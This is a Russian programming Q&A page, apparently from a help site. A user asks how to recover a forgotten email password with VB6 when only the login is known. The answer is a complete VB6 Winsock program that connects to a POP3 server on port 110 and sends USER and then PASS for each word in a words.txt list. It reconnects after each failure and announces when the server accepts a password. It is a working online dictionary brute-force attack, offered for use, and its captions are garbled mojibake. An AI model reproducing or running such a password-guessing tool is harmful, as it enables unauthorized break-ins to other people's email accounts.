Возможно ли с помощью VB6 вытащить пароль, если я знаю логин?
Формулировка задачи:
Припустим я забыл пароль к моему е-майлу. Возможно ли с помощью VB6 вытащить пароль, если я знаю логин???
Решение задачи: «Возможно ли с помощью VB6 вытащить пароль, если я знаю логин?»
textual
Листинг программы
Dim m_state As Integer Dim begin As Boolean Private Sub cmdRefresh_Click() lstWords.Clear GetPassList End Sub Private Sub Command1_Click() If begin = True Then Winsock1.LocalPort = 0 Winsock1.Connect txtHost.Text, 110 lstWords_Click m_state = 0 Command1.Caption = 'ГЋГ±ГІГ*Г*îâèòü' begin = False ElseIf begin = False Then Winsock1.Close begin = True Command1.Caption = 'ГЌГ*Г·Г*ГІГј' End If End Sub Private Sub Form_Load() On Error Resume Next txtPath.Text = App.Path + 'words.txt' begin = True GetPassList End Sub Private Sub lstWords_Click() txtPassN.Text = lstWords.ListIndex + 1 End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim strData As String Winsock1.GetData strData Debug.Print strData If Left$(strData, 1) = '+' Then If Mid(strData, 1, 4 + Len(txtUserName.Text)) = '+OK ' & txtUserName.Text And InStr(1, strData, ')') <> 0 Then MsgBox 'ГЏГ*ðîëü Г*Г*éäåГ*' Command1.Caption = 'ГЌГ*Г·Г*ГІГј' Exit Sub End If Debug.Print strData Select Case m_state Case 0 intMessages = 0 m_state = 1 Winsock1.SendData 'USER ' & txtUserName.Text & vbCrLf Debug.Print 'USER ' & txtUserName.Text Case 1 sn: lstWords_Click If Len(lstWords.Text) >= Val(txtMinL.Text) Then Winsock1.SendData 'PASS ' & lstWords.Text & vbCrLf Debug.Print 'TestPASS ' + lstWords.Text Else lstWords.ListIndex = lstWords.ListIndex + 1 GoTo sn End If lstWords_Click End Select ElseIf Left$(strData, 1) = '-' Then Winsock1.Close Winsock1.LocalPort = 0 lstWords_Click lstWords.ListIndex = lstWords.ListIndex + 1 Winsock1.Connect txtHost.Text, 110 m_state = 0 Else Debug.Print strData End If End Sub Private Sub GetPassList() lstWords.Clear ff = FreeFile Open txtPath.Text For Input As #ff Do Until EOF(ff) Input #ff, wrd lstWords.AddItem wrd Loop Close lstWords.ListIndex = 0 End Sub
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д